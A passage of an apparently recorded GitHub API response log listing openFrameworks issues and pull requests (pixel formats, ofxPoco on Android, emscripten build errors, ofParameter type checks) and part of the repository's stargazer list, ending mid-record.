string based sort: 0.0316965 seconds \r\n\r\n= 10.7x faster with string based sort \r\n ```\r\n\r\nFor 792 files:\r\n\r\n```\r\nRelease:\r\n time diff for file list with current sort: 4.0761 seconds \r\n time diff for file list with string based sort: 0.180382 seconds \r\n\r\n= 21x faster with string based sort\r\n```\r\n\r\nGoing to post some more thoughts to this thread. \r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6128","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6128/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6128/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6128/events","html_url":"https://github.com/openframeworks/openFrameworks/pull/6128","id":361122717,"node_id":"MDExOlB1bGxSZXF1ZXN0MjE2MTczNDIz","number":6128,"title":"Issue when saving jpg","user":{"login":"cyrstem","id":2263696,"node_id":"MDQ6VXNlcjIyNjM2OTY=","avatar_url":"https://avatars0.githubusercontent.com/u/2263696?v=4","gravatar_id":"","url":"https://api.github.com/users/cyrstem","html_url":"https://github.com/cyrstem","followers_url":"https://api.github.com/users/cyrstem/followers","following_url":"https://api.github.com/users/cyrstem/following{/other_user}","gists_url":"https://api.github.com/users/cyrstem/gists{/gist_id}","starred_url":"https://api.github.com/users/cyrstem/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cyrstem/subscriptions","organizations_url":"https://api.github.com/users/cyrstem/orgs","repos_url":"https://api.github.com/users/cyrstem/repos","events_url":"https://api.github.com/users/cyrstem/events{/privacy}","received_events_url":"https://api.github.com/users/cyrstem/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":4,"created_at":"2018-09-18T03:33:39Z","updated_at":"2018-10-05T03:35:54Z","closed_at":null,"author_association":"NONE","pull_request":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/pulls/6128","html_url":"https://github.com/openframeworks/openFrameworks/pull/6128","diff_url":"https://github.com/openframeworks/openFrameworks/pull/6128.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/6128.patch"},"body":"changed from auto pixelFormat = OF_PIXELS_BGRA;\r\nto auto pixelFormat = OF_PIXELS_RGBA;\r\ndon/t know if ALPHA channel should stay but this fix an issue saving images with grabScreen"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6127","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6127/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6127/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6127/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6127","id":361033985,"node_id":"MDU6SXNzdWUzNjEwMzM5ODU=","number":6127,"title":"ofxPoco Problem Android Studio","user":{"login":"dottoremad","id":11161510,"node_id":"MDQ6VXNlcjExMTYxNTEw","avatar_url":"https://avatars3.githubusercontent.com/u/11161510?v=4","gravatar_id":"","url":"https://api.github.com/users/dottoremad","html_url":"https://github.com/dottoremad","followers_url":"https://api.github.com/users/dottoremad/followers","following_url":"https://api.github.com/users/dottoremad/following{/other_user}","gists_url":"https://api.github.com/users/dottoremad/gists{/gist_id}","starred_url":"https://api.github.com/users/dottoremad/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dottoremad/subscriptions","organizations_url":"https://api.github.com/users/dottoremad/orgs","repos_url":"https://api.github.com/users/dottoremad/repos","events_url":"https://api.github.com/users/dottoremad/events{/privacy}","received_events_url":"https://api.github.com/users/dottoremad/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-09-17T20:37:28Z","updated_at":"2018-09-17T20:37:28Z","closed_at":null,"author_association":"NONE","body":"I am working on a project using ofxPoco and ofxHttpUtils.\r\nEverything works fine in Visual Studio on Windows and in Xcode on MacOS.\r\n\r\nIn Android Studio (Windows v 3.1.2 and MacOS v 3.1.4) using OF 0.10.0, the includes regarding Poco (addons\\ofxPoco\\libs\\poco\\include\\Poco) are not found, as for example\r\n#include at line 9 of ofxPoco/src/ofxXmlPoco.h\r\n\r\nTo reproduce the problem copy paste the empty example and add ofxPoco using the project generator, then open from Android Studio and build it."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6126","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6126/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6126/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6126/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6126","id":360902537,"node_id":"MDU6SXNzdWUzNjA5MDI1Mzc=","number":6126,"title":"emscripten emrun missing functions","user":{"login":"Mach1Studios","id":13720381,"node_id":"MDQ6VXNlcjEzNzIwMzgx","avatar_url":"https://avatars1.githubusercontent.com/u/13720381?v=4","gravatar_id":"","url":"https://api.github.com/users/Mach1Studios","html_url":"https://github.com/Mach1Studios","followers_url":"https://api.github.com/users/Mach1Studios/followers","following_url":"https://api.github.com/users/Mach1Studios/following{/other_user}","gists_url":"https://api.github.com/users/Mach1Studios/gists{/gist_id}","starred_url":"https://api.github.com/users/Mach1Studios/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Mach1Studios/subscriptions","organizations_url":"https://api.github.com/users/Mach1Studios/orgs","repos_url":"https://api.github.com/users/Mach1Studios/repos","events_url":"https://api.github.com/users/Mach1Studios/events{/privacy}","received_events_url":"https://api.github.com/users/Mach1Studios/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-09-17T14:42:49Z","updated_at":"2018-09-17T14:42:49Z","closed_at":null,"author_association":"NONE","body":"After going through all the build instructions below with the latest, I am unable to run any example or project, i have tried several combinations and used `emcc --clear-cache` and `emmake make clean` throughout rebuilds with no success.\r\n\r\n```\r\n./emsdk update\r\n./emsdk install latest\r\n./emsdk activate latest\r\nsource ./emsdk_env.sh\r\ngit clone --depth=1 https://github.com/openFrameworks/openFrameworks.git\r\ncd openFrameworks\r\nscripts/emscripten/./download_libs.sh\r\ncd examples/3d/3DPrimitivesExample\r\ncp ../../../scripts/templates/emscripten/Makefile .\r\nemmake make\r\n```\r\nI have even added \r\n`cp ../../../scripts/templates/emscripten/config.make .`\r\nwhich did not help either\r\n\r\nthis is the result is always along the lines of:\r\n`$ emrun --browser chrome bin/3DPrimitivesExample.html` \r\n```\r\nExecuting /Applications/Google Chrome.app/Contents/MacOS/Google Chrome --incognito --enable-nacl --enable-pnacl --disable-restore-session-state --enable-webgl --no-default-browser-check --no-first-run --allow-file-access-from-files http://localhost:6931/3DPrimitivesExample.html\r\nCreated new window in existing browser session.\r\nmissing function: _Znwj\r\n-1\r\n-1\r\n```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6125","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6125/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6125/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6125/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6125","id":359925364,"node_id":"MDU6SXNzdWUzNTk5MjUzNjQ=","number":6125,"title":"ofAbstractParameter::isType()","user":{"login":"eduardfrigola","id":7095844,"node_id":"MDQ6VXNlcjcwOTU4NDQ=","avatar_url":"https://avatars2.githubusercontent.com/u/7095844?v=4","gravatar_id":"","url":"https://api.github.com/users/eduardfrigola","html_url":"https://github.com/eduardfrigola","followers_url":"https://api.github.com/users/eduardfrigola/followers","following_url":"https://api.github.com/users/eduardfrigola/following{/other_user}","gists_url":"https://api.github.com/users/eduardfrigola/gists{/gist_id}","starred_url":"https://api.github.com/users/eduardfrigola/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eduardfrigola/subscriptions","organizations_url":"https://api.github.com/users/eduardfrigola/orgs","repos_url":"https://api.github.com/users/eduardfrigola/repos","events_url":"https://api.github.com/users/eduardfrigola/events{/privacy}","received_events_url":"https://api.github.com/users/eduardfrigola/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-09-13T14:37:31Z","updated_at":"2018-09-13T14:37:31Z","closed_at":null,"author_association":"NONE","body":"I have been working with ofParameter a lot recently, and, despite trying to use templates as much as I can, somewhere I end up checking the type of a parameter. \r\n\r\n```cpp\r\nif(p.type() == typeid(ofParameter).name()){\r\n auto &cast = p.cast();\r\n}\r\nelse if(p.type() == typeid(ofParameter).name()){\r\n auto &cast = p.cast();\r\n}\r\nelse if(p.type() == typeid(ofParameter).name()){\r\n auto &cast = p.cast();\r\n}\r\nelse if(p.type() == typeid(ofParameter).name()){\r\n auto &cast = p.cast();\r\n}\r\nelse if(p.type() == typeid(ofParameter).name()){\r\n auto &cast = p.cast();\r\n}\r\n```\r\n\r\n\r\nI thing it will be nice to add a function to ```ofAbstractParameter``` class to be able to check the parameter type with less code, and something more readable. Something as:\r\n\r\n```cpp\r\ntemplate\r\nbool isType(){\r\n\treturn type() == typeid(ofParameter).name();\r\n}\r\n```\r\n\r\nThe old code with the new function:\r\n```cpp\r\nif(p.isType()){\r\n auto &cast = p.cast();\r\n}\r\nelse if(p.isType()){\r\n auto &cast = p.cast();\r\n}\r\nelse if(p.isType()){\r\n auto &cast = p.cast();\r\n}\r\nelse if(p.isType()){\r\n auto &cast = p.cast();\r\n}\r\nelse if(p.isType()){\r\n auto &cast = p.cast();\r\n}\r\n```\r\n\r\n\r\nDoes this make sense? \r\nIt makes ```type()``` unclear?\r\nDoes the name ```isType()``` is the correct one to use?\r\n\r\nEduard\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6124","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6124/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6124/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6124/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6124","id":358370579,"node_id":"MDU6SXNzdWUzNTgzNzA1Nzk=","number":6124,"title":"ofVideoPlayer in emscripten doesn't support urls","user":{"login":"arturoc","id":48240,"node_id":"MDQ6VXNlcjQ4MjQw","avatar_url":"https://avatars0.githubusercontent.com/u/48240?v=4","gravatar_id":"","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":7,"created_at":"2018-09-09T11:22:14Z","updated_at":"2018-09-11T07:55:25Z","closed_at":null,"author_association":"MEMBER","body":"we should check if the passed path is an url and not try to open a file in that case"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6119","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6119/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6119/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6119/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6119","id":356742467,"node_id":"MDU6SXNzdWUzNTY3NDI0Njc=","number":6119,"title":"support ofFastEvent in ofParameter","user":{"login":"sphaero","id":832465,"node_id":"MDQ6VXNlcjgzMjQ2NQ==","avatar_url":"https://avatars1.githubusercontent.com/u/832465?v=4","gravatar_id":"","url":"https://api.github.com/users/sphaero","html_url":"https://github.com/sphaero","followers_url":"https://api.github.com/users/sphaero/followers","following_url":"https://api.github.com/users/sphaero/following{/other_user}","gists_url":"https://api.github.com/users/sphaero/gists{/gist_id}","starred_url":"https://api.github.com/users/sphaero/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sphaero/subscriptions","organizations_url":"https://api.github.com/users/sphaero/orgs","repos_url":"https://api.github.com/users/sphaero/repos","events_url":"https://api.github.com/users/sphaero/events{/privacy}","received_events_url":"https://api.github.com/users/sphaero/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-09-04T10:12:42Z","updated_at":"2018-09-04T10:12:42Z","closed_at":null,"author_association":"CONTRIBUTOR","body":"As discussed here: https://forum.openframeworks.cc/t/ofparametergroup-and-custom-inherited-ofparameter-class/30237/12\r\n\r\ni.e. add an extra optional parameter to ofParameter which enabled ofFastEvent instead of the default ofEvent"}] https GET api.github.com None /repos/openframeworks/openFrameworks/stargazers {'Accept': 'application/vnd.github.v3.star+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 06:02:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"3ffd69d4f4e7383eae948812b1eb72e5"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=star; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F9D6:235E:3C00DD:772BC6:5BD2AE02')] [{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"atduskgreg","id":165,"node_id":"MDQ6VXNlcjE2NQ==","avatar_url":"https://avatars1.githubusercontent.com/u/165?v=4","gravatar_id":"","url":"https://api.github.com/users/atduskgreg","html_url":"https://github.com/atduskgreg","followers_url":"https://api.github.com/users/atduskgreg/followers","following_url":"https://api.github.com/users/atduskgreg/following{/other_user}","gists_url":"https://api.github.com/users/atduskgreg/gists{/gist_id}","starred_url":"https://api.github.com/users/atduskgreg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/atduskgreg/subscriptions","organizations_url":"https://api.github.com/users/atduskgreg/orgs","repos_url":"https://api.github.com/users/atduskgreg/repos","events_url":"https://api.github.com/users/atduskgreg/events{/privacy}","received_events_url":"https://api.github.com/users/atduskgreg/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"DocSavage","id":185,"node_id":"MDQ6VXNlcjE4NQ==","avatar_url":"https://avatars1.githubusercontent.com/u/185?v=4","gravatar_id":"","url":"https://api.github.com/users/DocSavage","html_url":"https://github.com/DocSavage","followers_url":"https://api.github.com/users/DocSavage/followers","following_url":"https://api.github.com/users/DocSavage/following{/other_user}","gists_url":"https://api.github.com/users/DocSavage/gists{/gist_id}","starred_url":"https://api.github.com/users/DocSavage/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/DocSavage/subscriptions","organizations_url":"https://api.github.com/users/DocSavage/orgs","repos_url":"https://api.github.com/users/DocSavage/repos","events_url":"https://api.github.com/users/DocSavage/events{/privacy}","received_events_url":"https://api.github.com/users/DocSavage/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"dfl","id":282,"node_id":"MDQ6VXNlcjI4Mg==","avatar_url":"https://avatars0.githubusercontent.com/u/282?v=4","gravatar_id":"","url":"https://api.github.com/users/dfl","html_url":"https://github.com/dfl","followers_url":"https://api.github.com/users/dfl/followers","following_url":"https://api.github.com/users/dfl/following{/other_user}","gists_url":"https://api.github.com/users/dfl/gists{/gist_id}","starred_url":"https://api.github.com/users/dfl/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dfl/subscriptions","organizations_url":"https://api.github.com/users/dfl/orgs","repos_url":"https://api.github.com/users/dfl/repos","events_url":"https://api.github.com/users/dfl/events{/privacy}","received_events_url":"https://api.github.com/users/dfl/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"norio","id":307,"node_id":"MDQ6VXNlcjMwNw==","avatar_url":"https://avatars1.githubusercontent.com/u/307?v=4","gravatar_id":"","url":"https://api.github.com/users/norio","html_url":"https://github.com/norio","followers_url":"https://api.github.com/users/norio/followers","following_url":"https://api.github.com/users/norio/following{/other_user}","gists_url":"https://api.github.com/users/norio/gists{/gist_id}","starred_url":"https://api.github.com/users/norio/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/norio/subscriptions","organizations_url":"https://api.github.com/users/norio/orgs","repos_url":"https://api.github.com/users/norio/repos","events_url":"https://api.github.com/users/norio/events{/privacy}","received_events_url":"https://api.github.com/users/norio/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"auser","id":529,"node_id":"MDQ6VXNlcjUyOQ==","avatar_url":"https://avatars1.githubusercontent.com/u/529?v=4","gravatar_id":"","url":"https://api.github.com/users/auser","html_url":"https://github.com/auser","followers_url":"https://api.github.com/users/auser/followers","following_url":"https://api.github.com/users/auser/following{/other_user}","gists_url":"https://api.github.com/users/auser/gists{/gist_id}","starred_url":"https://api.github.com/users/auser/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/auser/subscriptions","organizations_url":"https://api.github.com/users/auser/orgs","repos_url":"https://api.github.com/users/auser/repos","events_url":"https://api.github.com/users/auser/events{/privacy}","received_events_url":"https://api.github.com/users/auser/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"keeran","id":848,"node_id":"MDQ6VXNlcjg0OA==","avatar_url":"https://avatars0.githubusercontent.com/u/848?v=4","gravatar_id":"","url":"https://api.github.com/users/keeran","html_url":"https://github.com/keeran","followers_url":"https://api.github.com/users/keeran/followers","following_url":"https://api.github.com/users/keeran/following{/other_user}","gists_url":"https://api.github.com/users/keeran/gists{/gist_id}","starred_url":"https://api.github.com/users/keeran/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/keeran/subscriptions","organizations_url":"https://api.github.com/users/keeran/orgs","repos_url":"https://api.github.com/users/keeran/repos","events_url":"https://api.github.com/users/keeran/events{/privacy}","received_events_url":"https://api.github.com/users/keeran/received_events","type":"User","site_admin":true}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"antramm","id":917,"node_id":"MDQ6VXNlcjkxNw==","avatar_url":"https://avatars2.githubusercontent.com/u/917?v=4","gravatar_id":"","url":"https://api.github.com/users/antramm","html_url":"https://github.com/antramm","followers_url":"https://api.github.com/users/antramm/followers","following_url":"https://api.github.com/users/antramm/following{/other_user}","gists_url":"https://api.github.com/users/antramm/gists{/gist_id}","starred_url":"https://api.github.com/users/antramm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/antramm/subscriptions","organizations_url":"https://api.github.com/users/antramm/orgs","repos_url":"https://api.github.com/users/antramm/repos","events_url":"https://api.github.com/users/antramm/events{/privacy}","received_events_url":"https://api.github.com/users/antramm/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"ludwig","id":1056,"node_id":"MDQ6VXNlcjEwNTY=","avatar_url":"https://avatars0.githubusercontent.com/u/1056?v=4","gravatar_id":"","url":"https://api.github.com/users/ludwig","html_url":"https://github.com/ludwig","followers_url":"https://api.github.com/users/ludwig/followers","following_url":"https://api.github.com/users/ludwig/following{/other_user}","gists_url":"https://api.github.com/users/ludwig/gists{/gist_id}","starred_url":"https://api.github.com/users/ludwig/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ludwig/subscriptions","organizations_url":"https://api.github.com/users/ludwig/orgs","repos_url":"https://api.github.com/users/ludwig/repos","events_url":"https://api.github.com/users/ludwig/events{/privacy}","received_events_url":"https://api.github.com/users/ludwig/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"mk","id":1187,"node_id":"MDQ6VXNlcjExODc=","avatar_url":"https://avatars2.githubusercontent.com/u/1187?v=4","gravatar_id":"","url":"https://api.github.com/users/mk","html_url":"https://github.com/mk","followers_url":"https://api.github.com/users/mk/followers","following_url":"https://api.github.com/users/mk/following{/other_user}","gists_url":"https://api.github.com/users/mk/gists{/gist_id}","starred_url":"https://api.github.com/users/mk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mk/subscriptions","organizations_url":"https://api.github.com/users/mk/orgs","repos_url":"https://api.github.com/users/mk/repos","events_url":"https://api.github.com/users/mk/events{/privacy}","received_events_url":"https://api.github.com/users/mk/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"reedlaw","id":1344,"node_id":"MDQ6VXNlcjEzNDQ=","avatar_url":"https://avatars0.githubusercontent.com/u/1344?v=4","gravatar_id":"","url":"https://api.github.com/users/reedlaw","html_url":"https://github.com/reedlaw","followers_url":"https://api.github.com/users/reedlaw/followers","following_url":"https://api.github.com/users/reedlaw/following{/other_user}","gists_url":"https://api.github.com/users/reedlaw/gists{/gist_id}","starred_url":"https://api.github.com/users/reedlaw/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/reedlaw/subscriptions","organizations_url":"https://api.github.com/users/reedlaw/orgs","repos_url":"https://api.github.com/users/reedlaw/repos","events_url":"https://api.github.com/users/reedlaw/events{/privacy}","received_events_url":"https://api.github.com/users/reedlaw/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"esiegel","id":1390,"node_id":"MDQ6VXNlcjEzOTA=","avatar_url":"https://avatars2.githubusercontent.com/u/1390?v=4","gravatar_id":"","url":"https://api.github.com/users/esiegel","html_url":"https://github.com/esiegel","followers_url":"https://api.github.com/users/esiegel/followers","following_url":"https://api.github.com/users/esiegel/following{/other_user}","gists_url":"https://api.github.com/users/esiegel/gists{/gist_id}","starred_url":"https://api.github.com/users/esiegel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/esiegel/subscriptions","organizations_url":"https://api.github.com/users/esiegel/orgs","repos_url":"https://api.github.com/users/esiegel/repos","events_url":"https://api.github.com/users/esiegel/events{/privacy}","received_events_url":"https://api.github.com/users/esiegel/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"gaubert","id":1482,"node_id":"MDQ6VXNlcjE0ODI=","avatar_url":"https://avatars1.githubusercontent.com/u/1482?v=4","gravatar_id":"","url":"https://api.github.com/users/gaubert","html_url":"https://github.com/gaubert","followers_url":"https://api.github.com/users/gaubert/followers","following_url":"https://api.github.com/users/gaubert/following{/other_user}","gists_url":"https://api.github.com/users/gaubert/gists{/gist_id}","starred_url":"https://api.github.com/users/gaubert/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gaubert/subscriptions","organizations_url":"https://api.github.com/users/gaubert/orgs","repos_url":"https://api.github.com/users/gaubert/repos","events_url":"https://api.github.com/users/gaubert/events{/privacy}","received_events_url":"https://api.github.com/users/gaubert/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"pushkar","id":1484,"node_id":"MDQ6VXNlcjE0ODQ=","avatar_url":"https://avatars1.githubusercontent.com/u/1484?v=4","gravatar_id":"","url":"https://api.github.com/users/pushkar","html_url":"https://github.com/pushkar","followers_url":"https://api.github.com/users/pushkar/followers","following_url":"https://api.github.com/users/pushkar/following{/other_user}","gists_url":"https://api.github.com/users/pushkar/gists{/gist_id}","starred_url":"https://api.github.com/users/pushkar/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pushkar/subscriptions","organizations_url":"https://api.github.com/users/pushkar/orgs","repos_url":"https://api.github.com/users/pushkar/repos","events_url":"https://api.github.com/users/pushkar/events{/privacy}","received_events_url":"https://api.github.com/users/pushkar/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"edwardgeorge","id":1572,"node_id":"MDQ6VXNlcjE1NzI=","avatar_url":"https://avatars0.githubusercontent.com/u/1572?v=4","gravatar_id":"","url":"https://api.github.com/users/edwardgeorge","html_url":"https://github.com/edwardgeorge","followers_url":"https://api.github.com/users/edwardgeorge/followers","following_url":"https://api.github.com/users/edwardgeorge/following{/other_user}","gists_url":"https://api.github.com/users/edwardgeorge/gists{/gist_id}","starred_url":"https://api.github.com/users/edwardgeorge/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/edwardgeorge/subscriptions","organizations_url":"https://api.github.com/users/edwardgeorge/orgs","repos_url":"https://api.github.com/users/edwardgeorge/repos","events_url":"https://api.github.com/users/edwardgeorge/events{/privacy}","received_events_url":"https://api.github.com/users/edwardgeorge/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"jonbro","id":1597,"node_id":"MDQ6VXNlcjE1OTc=","avatar_url":"https://avatars0.githubusercontent.com/u/1597?v=4","gravatar_id":"","url":"https://api.github.com/users/jonbro","html_url":"https://github.com/jonbro","followers_url":"https://api.github.com/users/jonbro/followers","following_url":"https://api.github.com/users/jonbro/following{/other_user}","gists_url":"https://api.github.com/users/jonbro/gists{/gist_id}","starred_url":"https://api.github.com/users/jonbro/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jonbro/subscriptions","organizations_url":"https://api.github.com/users/jonbro/orgs","repos_url":"https://api.github.com/users/jonbro/repos","events_url":"https://api.github.com/users/jonbro/events{/privacy}","received_events_url":"https://api.github.com/users/jonbro/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"lrtitze","id":1818,"node_id":"MDQ6VXNlcjE4MTg=","avatar_url":"https://avatars0.githubusercontent.com/u/1818?v=4","gravatar_id":"","url":"https://api.github.com/users/lrtitze","html_url":"https://github.com/lrtitze","followers_url":"https://api.github.com/users/lrtitze/followers","following_url":"https://api.github.com/users/lrtitze/following{/other_user}","gists_url":"https://api.github.com/users/lrtitze/gists{/gist_id}","starred_url":"https://api.github.com/users/lrtitze/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lrtitze/subscriptions","organizations_url":"https://api.github.com/users/lrtitze/orgs","repos_url":"https://api.github.com/users/lrtitze/repos","events_url":"https://api.github.com/users/lrtitze/events{/privacy}","received_events_url":"https://api.github.com/users/lrtitze/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"sroske","id":2015,"node_id":"MDQ6VXNlcjIwMTU=","avatar_url":"https://avatars1.githubusercontent.com/u/2015?v=4","gravatar_id":"","url":"https://api.github.com/users/sroske","html_url":"https://github.com/sroske","followers_url":"https://api.github.com/users/sroske/followers","following_url":"https://api.github.com/users/sroske/following{/other_user}","gists_url":"https://api.github.com/users/sroske/gists{/gist_id}","starred_url":"https://api.github.com/users/sroske/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sroske/subscriptions","organizations_url":"https://api.github.com/users/sroske/orgs","repos_url":"https://api.github.com/users/sroske/repos","events_url":"https://api.github.com/users/sroske/events{/privacy}","received_events_url":"https://api.github.com/users/sroske/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"doubledare","id":2166,"node_id":"MDQ6VXNlcjIxNjY=","avatar_url":"https://avatars1.githubusercontent.com/u/2166?v=4","gravatar_id":"","url":"https://api.github.com/users/doubledare","html_url":"https://github.com/doubledare","followers_url":"https://api.github.com/users/doubledare/followers","following_url":"https://api.github.com/users/doubledare/following{/other_user}","gists_url":"https://api.github.com/users/doubledare/gists{/gist_id}","starred_url":"https://api.github.com/users/doubledare/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/doubledare/subscriptions","organizations_url":"https://api.github.com/users/doubledare/orgs","repos_url":"https://api.github.com/users/doubledare/repos","events_url":"https://api.github.com/users/doubledare/events{/privacy}","received_events_url":"https://api.github.com/users/doubledare/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"JamesHarrison","id":2263,"node_id":"MDQ6VXNlcjIyNjM=","avatar_url":"https://avatars0.githubusercontent.com/u/2263?v=4","gravatar_id":"","url":"https://api.github.com/users/JamesHarrison","html_url":"https://github.com/JamesHarrison","followers_url":"https://api.github.com/users/JamesHarrison/followers","following_url":"https://api.github.com/users/JamesHarrison/following{/other_user}","gists_url":"https://api.github.com/users/JamesHarrison/gists{/gist_id}","starred_url":"https://api.github.com/users/JamesHarrison/starred{